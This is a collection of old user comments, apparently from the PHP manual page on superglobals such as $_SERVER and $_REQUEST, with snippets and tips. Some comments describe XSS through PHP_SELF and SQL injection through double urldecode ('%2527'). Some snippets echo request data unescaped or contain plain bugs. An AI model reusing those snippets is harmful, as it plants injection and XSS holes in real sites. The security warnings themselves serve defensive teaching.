Note that it's a very, very bad idea to append to global variables in a loop, unless you really, really mean to do so in a global context. I just a while ago hung my server with a snippet of code like this:

<?php
$host  = $_SERVER['HTTP_HOST'];
$uri  = rtrim($_SERVER['PHP_SELF'], "/\\");

$GLOBALS['SITE_ROOT'] = "http://$host$uri";

while ($i < somenumber)
readfile($GLOBALS['SITE_ROOT'] = $GLOBALS['SITE_ROOT'] . '/this/file.php');
$i++
}
?>

While it is an entertaining and unusual method of creating very long URLs and breaking servers, it's a pretty awesomely bad idea

(Especially considering that the script in question ran concurrently with others of it's type, so the value in $GLOBALS['SITE_ROOT'] was unknown.)
nathan
23-Feb-2006 12:05
Also on using IPs to look up country & city, note that what you get might not be entirely accurate.  If their ISP is based in a different city or province/state, the IPs may be owned by the head office, and used across several areas.
You also have rarer situations where they might be SSHed into another server, on the road, at work, at a friend's...  It's a nice idea, but as the example code shows, it should only be used to set defaults.
ticklemeozmo at gmail dot com
15-Feb-2006 01:44
Using a combination of magic and a few examples from below (thank you to those below), the following two functions should provide the script  with a list (in order) of what is after the script.

printvars.php:
<?php
function array_compress($array) {
       $aReturn = array();
       foreach ($array as $value)
       if (strlen($value) > 0) { $aReturn[] = $value; }
       return $aReturn;
}

function getPathVariables() {
       $sPathPS = $_SERVER[PHP_SELF];
       $sPathFS = __FILE__;

       $aPathPS = array_reverse(explode("/", $sPathPS));
       $aPathFS = array_reverse(explode("/", $sPathFS));

       $aReturn = array();
       $x = 0;

       while ( $aPathPS[$x] != $aPathFS[$x] && $aPathPS[$x] != $aPathFS[0] ) {
               array_unshift($aReturn, $aPathPS[$x])        ;
               $x++;
       }

       return $aReturn;

}

print_r(array_compress(getPathVariables()));
?>

----
Calling: http://www.website.com/temp/printvars.php/or/whatever/something.jpg

returns:
Array (
   [0] => or
   [1] => whatever
   [2] => something.jpg
)
geza at turigeza dot com
11-Feb-2006 09:13
Above the manual says

'$_REQUEST is an associative array consisting of the contents of $_GET, $_POST, and $_COOKIE.'
However
$_REQUEST doesn't always contain the same elements as

$_GET+$_POST+$_REQUEST;

Basically if you add an element to the $_POST array that element does not automatically get added to REQUEST as well. It's easy to understand why :)

<?php
$_POST['geza'] = 'geza';
$_GET['bela'] = 'bela';

echo '<pre>';
print_r($_POST);
print_r($_GET);
print_r($_REQUEST);
echo '</pre>';
?>

will output this
Array
(
   [geza] => geza
)
Array
(
   [bela] => bela
)
Array
(
)
nospam at joot dot com
10-Feb-2006 07:02
[Editor's note: As much as you may hate us lazy programmers, we highly recommend the use of DOM (http://php.net/dom) or SimpleXML (http://php.net/simplexml) for handling XML data. It's much, much, much, much safer than your method. :)]

Man, I hate lazy programmers.  Let's have no more excuses for requiring your viewers to fill in their City and Country, okay?

PART ONE - The Lookup

$ip = get_remote_ip();
$location = http_get( "http://api.hostip.info/?ip=$ip" );

$contents = get_tag_contents( $location, "Hostip" );
$city = trim( get_tag_contents( $contents, "gml:name" ) );
$country = trim( get_tag_contents( $contents, "countryAbbrev" ) );

if( stristr( $city, "private" ) ) {
  $city = "";
}

if( stristr( $country, "xx" ) ) {
  $country = "US";
}

PART TWO - The Functions

function get_remote_ip() {
  return $_SERVER['REMOTE_ADDR'];
}

function http_get( $url ) {
  $request = fopen( $url, "rb" );
  $result = "";

  while( !feof( $request ) ) {
   $result .= fread( $request, 8192 );
  }

  fclose( $request );

  return $result;
}

function get_tag_contents( $xml, $tag ) {
  $result = "";
  $s_tag = "<$tag>";
  $s_offs = strpos( $xml, $s_tag );

  // If we found a starting offset, then look for the end-tag.
  //
  if( $s_offs ) {
   $e_tag = "</$tag>";
   $e_offs = strpos( $xml, $e_tag, $s_offs );

   // If we have both tags, then dig out the contents.
   //
   if( $e_offs ) {
     $result = substr(
       $xml,
       $s_offs + strlen( $s_tag ),
       $e_offs - $s_offs - strlen( $e_tag ) + 1 );
   }
  }

  return $result;
}

PART THREE - The HTML Form

<input type="text" name="city" id="city" value="<? echo $city; ?>" size="40" maxlength="50" />

<option value="AU" <? if( $country == "AU" ) echo "SELECTED='true'" ?>>Australia</option>
<option value="CA" <? if( $country == "CA" ) echo "SELECTED='true'" ?>>Canada</option>
<option value="GB" <? if( $country == "GB" ) echo "SELECTED='true'" ?>>United Kingdom</option>
<option value="US" <? if( $country == "US" ) echo "SELECTED='true'" ?>>United States</option>

etc.
Gerry
26-Jan-2006 09:14
In relation to Mr. Obvious' comment concerning using apache_request_headers() to get a more reliable referer. I don't believe this works as both it and PHP would be retrieving the information from the 'referer' header. All you would be doing by using apache_request_headers() is giving yourself more work.

Some test code which shows that both are identical:
<?php
$host=apache_request_headers();
echo "\$host['Referer'] = {$host['Referer']}\n";
echo "\$_SERVER['HTTP_REFERER'] = {$_SERVER['HTTP_REFERER']}\n";
?>

You can edit the referer using a tool such as the LiveHTTPHeaders extension for Firefox.

If there was a more accurate way of determining the referer, then PHP would most likely be doing it.
de dot php dot net at derdickehase dot de
23-Jan-2006 04:05
There's one key sentence about $_SESSION:

... Therefore, you do not need to use the global keyword for $_SESSION ...
In PHP 4.3.4 you better don't import $_SESSION within any function with
"global", otherwise your $_SESSION array will be overwritten and all
information of it will be lost.

---

... Sie brauchen dieses Array nicht mit global $_SESSION; in
Funktionen oder Methoden importieren ...
In PHP 4.3.4 sollte man lieber nirgendwo(!) in irgendwelchen Funktionen
mit "global" das Array $_SESSION importieren, denn dann wird das alte
Array berschrieben und alle Session-Informationen gehen verloren.
marsh at NOSPAM-TAKETHATSPAMMER dot uri
20-Jan-2006 12:05
The solution advanced by info at meshkaat dot com does not work correctly on machines with IIS configured to use
a virtual directory as the launch point. The address strings for $_SERVER['SCRIPT_FILENAME'] and $_SERVER['PHP_SELF'] will not necessarily have the same name for the highest level directory in $_SERVER['PHP_SELF'], and therefore this solution will not return the proper value.
marsh at NOSPAM-TAKETHATSPAMMER dot uri dot edu
12-Jan-2006 11:57
Under Windows XP SP2 and IIS, $_SERVER('x') returns a path using forward slash '/' as the separator, where x is:

     PHP_SELF, SCRIPT_NAME

These arguments, however, all return a path using backward slash, '\' as the separator:

  __FILE__, SCRIPT_FILENAME, and DOCUMENT_ROOT (if you use one of the methods mentioned previously).

Also note that if the name of the last directory in the document root includes a space, the methods described above for setting DOCUMENT_ROOT will return a value that drops the everything past the space.
Andy Staudacher, gmx.ch add ast before @
20-Dec-2005 09:02
The following code is licensed under the GPL and it is from the gallery.menalto.com project.
<?php
   /**
     * Fix the superglobal $_COOKIE to conform with RFC 2965
     *
     * We don't use $_COOKIE[$cookiename], because it doesn't conform to RFC 2965 (the
     * cookie standard), i.e. in $_COOKIE, we don't get the cookie with the most specific path for
     * a given cookie name, we get the cookie with the least specific cookie path.
     * This function does it exactly the other way around, to a) fix our cookie/login problems and
     * to b) conform with the RFC.
     * The PHP bug was already fixed in spring 2005, but we will have to deal with broken PHP
     * versions for a long time. See http://bugs.php.net/bug.php?id=32802.
     *
     * Fixes also another PHP cookie bug. PHP doesn't expect the cookie header to have
     * quoted-strings, but they are perfectly legal according to RFC 2965.
     *
     * The third bug fixed here is an MS Internet Explorer (IE) bug. When using default cookie
     * domains (no leading dot, don't set the domain in set-cookie), IE is supposed to return only
     * cookies that have the exact request-host as their domain.
     * Example: Cookies stored in the browser with cookie domains: .example.com, .www.example.com,
     *          example.com, www.example.com
     *          The request-host is www.example.com. Thus, IE should return all those cookies but
     *          the example.com cookie, because it's a default domain cookie and it doesn't match
     *          exactly the request-host. But IE returns the example.com cookie too.
     * As MS decided that it returns the cookie with the best domain-match first (unspecified in
     * RFC 2965), this wouldn't be a problem if PHP didn't select the last cookie in the
     * HTTP_COOKIE header. But with fixCookieVars(), this case is also fixed.
     *
     * This function reevaluates the HTTP Cookie header and populates $_COOKIE with the correct
     * cookies. We fix only non-array and non '[', ']' containing cookies for simplicity. To fix
     * our login problem, we'd have to fix only the GALLERYSID cookie anyway.
     *
     * @param boolean force the reevaluation of the HTTP header string Cookie
     * @param boolean unset static variable for testability
     */
   function fixCookieVars($force=false, $unset=false)
?>
The source code can be found at:
http://cvs.sourceforge.net/viewcvs.py/gallery/gallery2/
modules/core/classes/GalleryUtilities.class?rev=1.146&view=markup
Mr. Obvious
15-Dec-2005 03:37
HTTP_REFERER Replacement

Being that REFERER is not a reliable resource to determine if a user is visiting a link from your domain, try using apache_request_headers() instead (formerly getallheaders).  I found this to work very well with both IE and Netscape/FireFox when determining if a user is downloading a file from outside of my domain.

<?php
$host=apache_request_headers();
if(!eregi('domain.com',$host[Referer])){
   //[...code to download file here...]
}else{
   //[...code to download alternate file here...]
   }
?>
info at meshkaat dot com
06-Dec-2005 09:03
How to get $_SERVER["DOCUMENT_ROOT"] on IIS :

if(!isset($_SERVER["DOCUMENT_ROOT"]))
{$_SERVER["DOCUMENT_ROOT"]=substr($_SERVER['SCRIPT_FILENAME'] , 0 , -strlen($_SERVER['PHP_SELF'])+1 );
}

it simply works!
chris at vault5 dot com
30-Nov-2005 11:17
Since $_SERVER['DOCUMENT_ROOT'] is not always present, the following will provide it where $_SERVER dosen't.

<?php
function resolveDocumentRoot() {
   $current_script = dirname($_SERVER['SCRIPT_NAME']);
   $current_path  = dirname($_SERVER['SCRIPT_FILENAME']);

   /* work out how many folders we are away from document_root
       by working out how many folders deep we are from the url.
       this isn't fool proof */
   $adjust = explode("/", $current_script);
   $adjust = count($adjust)-1;

   /* move up the path with ../ */
   $traverse = str_repeat("../", $adjust);
   $adjusted_path = sprintf("%s/%s", $current_path, $traverse);

   /* real path expands the ../'s to the correct folder names */
   return realpath($adjusted_path);
}

?>

It counts the number of folders down the path we are in the URL, then moves that number of folders up the current path... end result should be the document root :)

It wont work with virtual folders or in any situation where the folder in the URL dosen't map to a real folder on the disk (like when using rewrites).
webmaster at neosign dot net
08-Nov-2005 11:42
this is for finding Document root in IIS.
it's like $_SERVER["DOCUMENT_ROOT"]

if(!isset($_SERVER["DOCUMENT_ROOT"])){
$_SERVER["DOCUMENT_ROOT"]=$str_replace('\\','/',getcwd());
}

it's work!!

by

webmaster@neosign.net
lorenpr at gmail dot com
02-Nov-2005 07:04
Here's a simple function that has proven reliable for me in checking if a user has refreshed the current page on a website.

function pageRefreshed()
{
  if($_SERVER['HTTP_CACHE_CONTROL'] == 'max-age=0')
     return true;

   return false;
}
webmaster at eclipse dot org
11-Oct-2005 11:01
In response to tobias at net-clipping dot de

It is not an Apache bug.  Please read http://httpd.apache.org/docs/2.1/mod/core.html#errordocument carefully (2.1 version here, 2.0 and 1.x is similar).

In short, if your ErrorDocument start with http:// Apache sends a redirect (302) to the error document, hence losing your original referer. If your ErrorDocument points to a relative path, 404 is maintained and so are your variables.

From the Apache manual:

"Note that when you specify an ErrorDocument  that points to a remote URL (ie. anything with a method such as http in front of it), Apache will send a redirect to the client to tell it where to find the document, even if the document ends up being on the same server. This has several implications, the most important being that the client will not receive the original error status code, but instead will receive a redirect status code. This in turn can confuse web robots and other clients which try to determine if a URL is valid using the status code. In addition, if you use a remote URL in an ErrorDocument 401, the client will not know to prompt the user for a password since it will not receive the 401 status code. Therefore, if you use an ErrorDocument 401 directive then it must refer to a local document."

D.
webadmin at wibn dot net
06-Oct-2005 05:55
I like using the $_REQUEST variable because my scripts work as expected regardless of request method and I can set per-user default values with cookies or session variables.
I was having problems because $_REQUEST was preferring cookie-method values over GET- and POST-method values.  I have no access to php.ini on my hosted web page and, of course, ini_set("variables_order","ESCGP"); has no effect because $_REQUEST is created before my script starts.
The following script fixed my problem:

foreach (array("_GET","_POST") as $source) {
 foreach (${$source} as $idx => $value) {
  $_REQUEST[$idx]=$value;
  };
 };
unset($source,$idx,$value);

Simply fill the array() with the names of the arrays you want to load into $_REQUEST, in increasing order of preference.
drew dot griffiths at clare dot net
30-Sep-2005 11:51
Re: You can take advantage of 404 error to an usable redirection using REQUEST_URI ...

Whilst this is effective, a line in the .htaccess such as:

RewriteEngine On
RewriteRule ^profiles/([A-Za-z0-9-]+) showprofile.php?profile=$1 [L,NC,QSA]

will throw the requested profile in a variable $profile to the showprofile.php page.

You can further enhance the url (e.g http://servername/profiles/Jerry/homeaddress/index.htm) and the second variable value homeaddress becomes available in $url_array[3] when used below $url_array=explode("/",$_SERVER['REQUEST_URI']);

Hope this helps - Works well for me

Drew
jeromenelson at gmail dot com
19-Sep-2005 06:56
You can take advantage of 404 error to an usable redirection using REQUEST_URI ...

For example the following program can retrieve the information for the 'search_string', for a given URI:  http://servername/profiles/search_string, even though there's no such path.
Do the following steps..

Step 1: Edit Apache config:  set
       ErrorDocument 404 "/missing.php"
Step 2: Write the missing.php as follows ...

<?
$mainPath = "/profiles/";                                      // Example: http://servername/profiles/search_string
$mpLength = strlen( $mainPath  );
$request_uri = $_SERVER['REQUEST_URI'];

if ( $mainPath != substr($request_uri,0,$mpLength) ) {          // Check if the given URI is valid
   echo "404 Page Not Found !";
   exit();
}

$name = substr ($request_uri , $mpLength ) ;                    // Extract the string to be searched

echo "You have searched for the profile of Mr. $name";

/** Here you can write the code to retrieve and display
     the $name's  information from the database
*/
?>

Step 3: Now try http://servername/profiles/Jerry
   (of course, there shouldn't be a file/folder in the server like "DOCROOT/profiles/Jerry" )

     output: You have searched for the profile of Mr. Jerry

God Bless You!
Angelina Bell
04-Aug-2005 11:55
Warning:
$_SERVER['PHP_SELF'] and $_SERVER['SCRIPT_NAME'] may not always be set correctly.
Some web hosts implement php as a CGI in such a way that they can turn it on or off for each virtual domain.  Several $_SERVER and $_ENV variable values may be incorrect for documents in subdirectory subdomains of these virtual domains.

An include-file function or constant, instead of PHP_SELF or some other predefined variable throughout a website, will make it easier to "fix" an entire website in case something changes.
<?php
function true_url_path() {
// Pick the predefined variable that works on your server
     return $_ENV['SCRIPT_URL'];
}
?>
Or
<?php
// Pick the predefined variable that works on your server
define("TRUE_URL_PATH", $_ENV['SCRIPT_URL']);
?>
Gregory Boshoff
31-Jul-2005 05:41
$_SERVER['QUERY_STRING']

Does not contain XHTML 1.1 compliant ampersands i.e. &amp;

So you will need to do something like this if you are to use $_SERVER['QUERY_STRING'] in URL's.

//  XHTML 1.1 compliant ampersands
$_SERVER['QUERY_STRING'] =
str_replace(array('&amp;', '&'), array('&', '&amp;'),
$_SERVER['QUERY_STRING']);
New York PHP
24-Jul-2005 09:59
Warning: $_SERVER['PHP_SELF'] can include arbitrary user input. The documentation should be updated to reflect this.

The request "http://example.com/info.php/attack%20here" will run /info.php, but in Apache $_SERVER['PHP_SELF'] will equal "/info.php/attack here". This is a feature, but it means that PHP_SELF must be treated as user input.

The attack string could contain urlencoded HTML and JavaScript (cross-site scripting) or it could contain urlencoded linebreaks (HTTP response-splitting).

The use of $_SERVER['SCRIPT_NAME'] is recommended instead.
eustf at hotmail dot com
21-Jul-2005 11:05
REQUEST_URI not defined on Windows XP and IIS 5.1
I have seen different script on the web and in this list but they don't work fully. This one seems to work:

if(!isset($_SERVER['REQUEST_URI'])) {
  $arr = explode("/", $_SERVER['PHP_SELF']);
  $_SERVER['REQUEST_URI'] = "/" . $arr[count($arr)-1];
  if ($_SERVER['argv'][0]!="")
   $_SERVER['REQUEST_URI'] .= "?" . $_SERVER['argv'][0];
}
daniel at softel dot jp
16-Jul-2005 02:43
Note that $php_errormsg may contain a newline character. This can be problematic if you are trying to output it with a JavaScript "alert()" for example.
php at php-universe dot com
15-Jul-2005 08:11
While recently working on a file upload script, that works on moving files and resizing images based upon their extension, I found a great way to determine the file extension.

<?
function get_extension($filename)
{//start get_extension function
return (count($tmp = explode('.',basename($filename)))>1)?array_pop($tmp):'';
}//end get_extension function

/* An example use of this function:*/

foreach($_FILES as $files)
{//foreach $_FILES action
if($files['error']==0)
     {//if the file was successfully uploaded
$ext = "<br />.".get_extension($files['name']);
echo $ext;
     }//end of successfull upload check
}//end foreach $_FILES
?>

This returns the file extension for each of the files uploaded, giving something like:

.jpg
.swf
andy dot gajetzki at gmail dot com
06-Jul-2005 09:22
I wanted to be able to embed a variable in the path. This is useful when, for example, images are rendered on the fly and you would like them to have different urls.

Here is an illustration:

www.somesite.com/image.php/IMAGETEXTHERE

This would return an image with the text after "image.php/" contained in it.

I could not recall the name of this feature, so I made a work-around in PHP...

<?

function getPathVariables() {
       $sPathPS = $_SERVER[PHP_SELF];
       $sPathFS = __FILE__;

       $aPathPS = array_reverse(explode("/", $sPathPS));
       $aPathFS = array_reverse(explode("/", $sPathFS));

       $aImageArgs = array();
       $x = 0;

       while ( $aPathPS[$x] != $aPathFS[$x] && $aPathPS[$x] != $aPathFS[0] ) {
               array_unshift($aImageArgs, $aPathPS[$x])        ;
               $x++;
       }
       return $aImageArgs;

}
?>

This function will return an array containing each "/" delimited portion of the path after the script name itself.
notes at arbee dot co dot uk
27-Jun-2005 10:14
Note that $_SERVER['QUERY_STRING'] behaves differently under IIS/Apache.

In Apache (at least on Windows) it is ALWAYS set - if no query string was specified in the URL, $_SERVER['QUERY_STRING'] is initialised as an empty string.

In IIS, if no query string is included in the URL, $_SERVER['QUERY_STRING'] is NOT SET, so trying to access it without checking for its existence will generate notices.
koerner-familie at t-online dot de
21-Jun-2005 09:52
If you want to make a copy of $BLOBALS (e.g. to test whether which tariables were changed during script-runtime,
<?php $___debug_var_dump = $GLOBALS; ?>
will _NOT_ make a copy in PHP4 (tested with 4.3.11). Use
<?php $___debug_var_dump = array_merge($GLOBALS, array()); ?> instead, but ONLY for testing purpose.
Best regards, Peter
purplebz at hotmail dot com
19-Jun-2005 04:35
How to get $_SERVER['REQUEST_URI'] on IIS (WinXP):

if ( empty($_SERVER['REQUEST_URI']) ) {
   $arr = explode("/", $_SERVER['PHP_SELF']);
   $_SERVER['REQUEST_URI'] = $arr[count($arr)-1];
}
xangelusx at hotmail dot com
14-Jun-2005 04:03
A note about the QUERY_STRING variable when using IIS:

I have found that IIS does not handle large query strings gracefully when passed from PHP. In addition to truncating them to around 1024 kb, I have seen IIS actually add data from other server variables to the end of the truncated data.

This occurred on Windows 2000 server running IIS 5.0 and PHP 4.3.8.  The problem did not occur when handled by Apache, even on another Windows server.

Note: I realize passing this much data is best accomplished using the POST method, which would avoid this problem all together. I'm merely detailing a problem that I came across.

I have created a page that includes the (very long) query string that was used and some of the results that I saw while testing. It can be viewed at http://www.csb7.com/test/php_iis_qs_limit/. I didn't want to include it here as it would stretch the page out significantly.

~Chris Bloom
mfyahya at gmail dot com
07-Jun-2005 09:33
If you use Apache's redirection features for custom error pages or whatever, the following Apache's REDIRECT variables are also available in $_SERVER:
$_SERVER['REDIRECT_UNIQUE_ID]'
$_SERVER['REDIRECT_SCRIPT_URL]'
$_SERVER['REDIRECT_SCRIPT_URI]'
$_SERVER['REDIRECT_SITE_ROOT]'
$_SERVER['REDIRECT_SITE_HTMLROOT]'
$_SERVER['REDIRECT_SITE_CGIROOT]'
$_SERVER['REDIRECT_STATUS]'
$_SERVER['REDIRECT_QUERY_STRING]'
$_SERVER['REDIRECT_URL]'

I'm not sure if this is a complete list though
mp at wds-tech dot de
02-Jun-2005 03:12
Also aviable is the $_SERVER['SERVER_ADDR'] which returns the current IP of the server the script is running on.
mike at go dot online dot pt
27-May-2005 03:58
In addition to what FX said about IE and Firefox, if you use the variable $PHP_SELF instead of $_SERVER['PHP_SELF'] that problem does not happen.
webKami (et) AKDomains.com
24-May-2005 02:47
PHP Secure Class to prevent XSS Attacks

Although this is not bullet proof but it would give you an idea on how to filter incoming data.

Copyleft : LGPL
Idea by: phpsec GROUP @ PHP|arch

Coded By: webKami

For those who are new to PHP and just heard of XSS attacks, this is the basic rule.

"NEVER EVER TRUST EXTERNAL DATA"

For this purpose I have coded a class that can be used to filter all external data, from POST, GET, COOKIE and even your own arrays.

An example is that if you need only integers from a certain parameter just request for integer
e.g. getVarInt("id")

You can even tell it to give you a default value if param is not set, so that your page would not FAIL in case of a NULL value
e.g. getVarInt("id",1)

You can also fetch data from a param array, like a set of colors
e.g. getVarInt("colors",0,0)
e.g. getVarInt("colors",0,1)

Get these variables in a loop limited by the count of that array's elements
e.g. getVarCount("colors")

The complete code of class and its usage can be found here

http://www.webkami.com/programming/php/php-secure-class-to-avoid-xss

I am posting the usage below.

<?

//for url variables
$req = new requestGet();
echo "Int:".$req->getVarInt("id")."<br />";
echo "Alpha:".$req->getVarAlpha("name",4)."<br />";

//for form variables
$req = new requestPost();
echo "Int:".$req->getVarInt("id")."<br />";
echo "Alpha:".$req->getVarAlpha("name",4)."<br />";

//for cookies
$req = new requestCookie();
echo "Int:".$req->getVarInt("id")."<br />";
echo "Alpha:".$req->getVarAlpha("name",4)."<br />";

//for your own variables, set your values to an item in an array and you can modify the array

$filter["id"]=4;
$filter["name"]="Ali";
$req = new requestFilter($filter);
echo "Int:".$req->getVarInt("id")."<br />";
echo "Alpha:".$req->getVarAlpha("name",4)."<br />";

?>
FX
24-May-2005 06:24
A form that has an action $_SERVER['PHP_SELF'];

in IE, it outputs as /test.php

but in FireFox it outputs as //test.php and so page can't be found.

Use    basename($_SERVER['PHP_SELF']);    instead .
sienkiewicz at gmail dot com
19-May-2005 10:18
Here is a very simple method of extracting all $_GET variables in a URL. This is useful when working with dynamic reports, that may need to be sorted, etc.

code:

foreach($_GET as $variable => $value) {
   echo "Variable Name: " . $variable . " Value: $value<br>";
}
JM
18-May-2005 04:08
The $_SERVER['PHP_AUTH_*'] variables are not available in safe mode.  See http://www.php.net/features.http-auth
www dot php dot net at webdevelopers dot cz
12-May-2005 09:01
Simple function that selects "best" language for the user from the list of available languages:

function chooseLang($availableLangs) {
   $pref=array();
   foreach(split(',', $_SERVER["HTTP_ACCEPT_LANGUAGE"]) as $lang) {
       if (preg_match('/^([a-z]+).*?(?:;q=([0-9.]+))?/i', $lang.';q=1.0', $split)) {
           $pref[sprintf("%f%d", $split[2], rand(0,9999))]=strtolower($split[1]);
       }
   }
   krsort($pref);
   return array_shift(array_merge(array_intersect($pref, $availableLangs), $availableLangs));
}

echo 'BESTLANG: '.chooseLang(array('cs', 'sk', 'ru', 'en'));

Daniel "elixon" Sevcik
exaton at free dot fr
07-May-2005 02:23
With the arrival of the Google Web Accelerator, the problem of keeping track of users through $_SERVER['REMOTE_ADDR'] (for a much shorter while than with cookies) has reared its ugly head anew.

For those confronted with this issue, remember that Google implements the $_SERVER['HTTP_X_FORWARDED_FOR'] header giving the IP address of the connection that it proxies.

Hope this helps...
inbox at tanasity dot com
13-Apr-2005 09:23
Under Windows 2000, running IIS and PHP 4.3.10, $_SERVER['SCRIPT_NAME'] is not available, however $_SERVER['SCRIPT_FILENAME'] is present and seems to contain the same information.
javalizard at mac dot com
11-Apr-2005 07:02
My web host server will give my php the user preferred languages out over the order.  This means that I had to write a function for ordering the languages based upon their "q" value (rank from 1..0, 1 being the most preferred).  If you want an ordered list of user preferred languages use this function:

<?php
function orderedLanguages()
{
   $languages = split(",", $_SERVER['HTTP_ACCEPT_LANGUAGE'] );
   $lang_q = Array();
   foreach( $languages as $aLang ) {
       $lang_array = split(";q=", trim( $aLang ) );
       $lang = trim( $lang_array[0] );
       if( !isset( $lang_array[1] ) )
           $q = 1;
       else
           $q = trim($lang_array[1]);
       $lang_q["$lang"] = (float)$q;
   }
   arsort($lang_q);
   //extra code for making the languages key indexed
   $i = 0;
   $lang_index = Array();
   foreach($lang_q as $lang => $q) {
   //    $lang_q[$i] = $lang; //add to the same array the index key/language
       $lang_index[$i] = $lang; //add to a new array the index key/language
       $i++;
   }

   //return $lang_index; // uncomment for returning array with keys={0..n-1}, values={most..least preferred}
   return $lang_q;
}

?>

While you can't reference the key by number, You can use foreach to pull elements.  This will be in order.  So getting the key with array_keys should work in the preferred order too.  I've added a few extra lines of commented code for reordering the array into one(s) that reference the language by number (if you need it)  :D
skrollster
27-Mar-2005 12:36
$_SERVER["REMOTE_USER"] and $_SERVER['PHP_AUTH_USER'] is the same variable i think..
anonymous
04-Mar-2005 06:12
I don't see the $_SERVER["REMOTE_USER"] listed in this document.
This displays the username used to login using .htaccess.
z dot stolar at gmail dot com
03-Mar-2005 06:05
It seems that if the current page was called with GET variables:
http://www.example.com/index.php?delete_id=12?add_id=34

and if, in that same page, you are about to submit another form, this time with POST method, assigning the form the action:
<?php  $_SERVER['PHP_SELF']  ?>
will keep the GET variables at their place! (delete_id=12?add_id=34)

Rather, assign the form the action like this:
<?php echo $_SERVER['PHP_SELF'] ; ?>
this will call only index.php without any GET variables
28-Feb-2005 10:41
Matt Johnson says that one should never urldecode() $_GET data. This is incorrect.

If magic_quotes_gpc is turned off in php.ini, then you *do* need to urldecode() $_GET data.

Having magic_quotes_gpc turned off is considered good practise.
x_terminat_or_3 at [remove] yahoo.fr
28-Feb-2005 06:18
I didn't find it anywhere here and I was ready to bang my head on the wall until I found the solution!

So when you use a select with multiple options you have to cheat to let php recognize it.

When processing the request, php puts all selected options in the select object's name, but treats it like an array.  If it is not an array, only the last option is remembered.

So to cheat you should append [ ] to the name of the select

<form .. ... ..>
 <select multiple="multiple" name="myselect[]" size="3">
  <option value="1">1st option</option>
  <option value="2">2nd option</option>
  <option value="3">3rd option</option>

...

Then in the processing part:
<?php
  if(!empty[$_REQUEST['myselect']) print_r($_REQUEST['myselect']);
?>

Will show you the array with all the selected options
17-Feb-2005 07:30
grlprgrmmr wrote:

you can use these to reconstructed the current page url.

<?php

echo 'http';
if($_SERVER['HTTPS']=='on'){echo 's';}
echo '://'.$_SERVER['SERVER_PORT'].$_SERVER['SCRIPT_NAME'];
if($_SERVER['QUERY_STRING']>' '){echo '?'.$_SERVER['QUERY_STRING'];}

?>
______________

the $_SERVER['SERVER_PORT'] part should be changed to $_SERVER['HTTP_HOST']
Gregory Boshoff
14-Feb-2005 08:19
The Environment variable $ENV is useful for coding portable platform specific application constants.

// Define a Windows or else Linux root directory path
$_ENV['OS'] == 'Windows_NT' ? $path = 'L:\\www\\' : $path = ' /var/www/';

define('PATH', $path);

echo PATH;
magotes[at]netcabo.pt
12-Feb-2005 11:09
Sorry if this is old news to some, but it might not be obvious at a first glance:

If you are using $_SERVER['remote_addr'] as a way to keep track of a logged-in user (this can be useful to avoid several types of hacking), remember that it might not be the user's actual IP address!

I was trying to implement a login feature that used this, storing the IP into a DB. It went smoothly while on a LAN, but wrecked havoc when accepting outter connections.
grlprgrmmr uses gmail
11-Feb-2005 03:05
you can use these to reconstructed the current page url.

<?php

echo 'http';
if($_SERVER['HTTPS']=='on'){echo 's';}
echo '://'.$_SERVER['SERVER_PORT'].$_SERVER['SCRIPT_NAME'];
if($_SERVER['QUERY_STRING']>' '){echo '?'.$_SERVER['QUERY_STRING'];}

?>

If $_SERVER['HTTPS']=='on' does not work for you,
try $_SERVER['SERVER_PORT']==443 (or whatever secure port is used)
JSP001
27-Jan-2005 06:15
Hi dotpointer,

I am new to php but I suggest a little modification of your script. Tell me what you think of it :

function getThisFile() {

[...]
   /* last resort __FILE__ */
   } else {
       $strScript = __FILE__;
   }
[...]
}

Thanks for this great function, I'll use it for my project !

Regards
niles AT atheos DOT net
27-Jan-2005 04:51
If your having problems returning $_SERVER variables using apache, be sure you enable:

ExtendedStatus On

in your httpd.conf file.

If it's off, then things like $_SERVER['HTTP_HOST'] won't be present.
marcus at lastcraft dot com
24-Jan-2005 08:02
The variable $php_errormsg is not populated if you have XDebug running.
arjini at gmail dot com
19-Jan-2005 08:29
Driven crazy by the lack of consistency with $_SERVER across installations? Check out this chart:

http://www.koivi.com/apache-iis-php-server-array.php
roy dot rico at gmail dot com
19-Jan-2005 05:48
if you are trying to use $php_errormsg, it acts more like a function than it does a variable.

example

   echo "<h1>";
   $php_errormsg;
   echo "</h1>";

will output:

   <h1>[the php error]<h1>

however, this command

   echo "<h1>" . $php_errormsg . "</h1>";

should produce the same thing, yet it produces

   [the php error]<h1></h1>

not sure if this is a "feature" or a "bug"
dotpointer
10-Jan-2005 05:26
Running Xitami in Windows 2000 and PHP 4.3.7, nor PHP_SELF or SCRIPT_FILENAME is not availiable. Trying SCRIPT_NAME instead. Here is a function that returns the filename of a script without slashes. Good for use in HTML FORM ACTION=""-arguments...

function getThisFile() {

 /* try to use PHP_SELF first... */
 if (!empty($_SERVER['PHP_SELF'])) {
  $strScript = $_SERVER['PHP_SELF'];
 /* otherwise, try SCRIPT_NAME */
 } else if (!empty($_SERVER['SCRIPT_NAME'])) {
  $strScript = @$_SERVER['SCRIPT_NAME'];
 /* last resort - quit out and return nothing */
 } else {
  return null;
 }

 /* fint last frontslash in filename */
 $intLastSlash = strrpos($strScript, "/");

 /* check if last backslash is more far away in filename */
 if (strrpos($strScript, "\\")>$intLastSlash) {
  /* if so, use the backslash position instead */
  $intLastSlash = strrpos($strScript, "\\");
 }

 /* cut out from the last slash and to the end of the filename */
 return substr($strScript, $intLastSlash+1, strlen($strScript));
}

Tested on PHP 4.3.7/Win32 and PHP 5.0.3/Linux.
You may add more filepaths to the first if-section
to get more chances to catch up the filename if you can.
Matt Johnson
26-Dec-2004 08:50
A reminder: if you are considering using urldecode() on a $_GET variable, DON'T!

Evil PHP:

<?php
# BAD CODE! DO NOT USE!
$term = urldecode($_GET['sterm']);
?>

Good PHP:

<?php
$term = $_GET['sterm'];
?>

The webserver will arrange for $_GET to have been urldecoded once already by the time it reaches you!

Using urldecode() on $_GET can lead to extreme badness, PARTICULARLY when you are assuming "magic quotes" on GET is protecting you against quoting.

Hint: script.php?sterm=%2527 [...]

PHP "receives" this as %27, which your urldecode() will convert to "'" (the singlequote). This may be CATASTROPHIC when injecting into SQL or some PHP functions relying on escaped quotes -- magic quotes rightly cannot detect this and will not protect you!

This "common error" is one of the underlying causes of the Santy.A worm which affects phpBB < 2.0.11.
mrnopersonality at yahoo dot com
19-Oct-2004 11:13
Nothing about the message-body ...

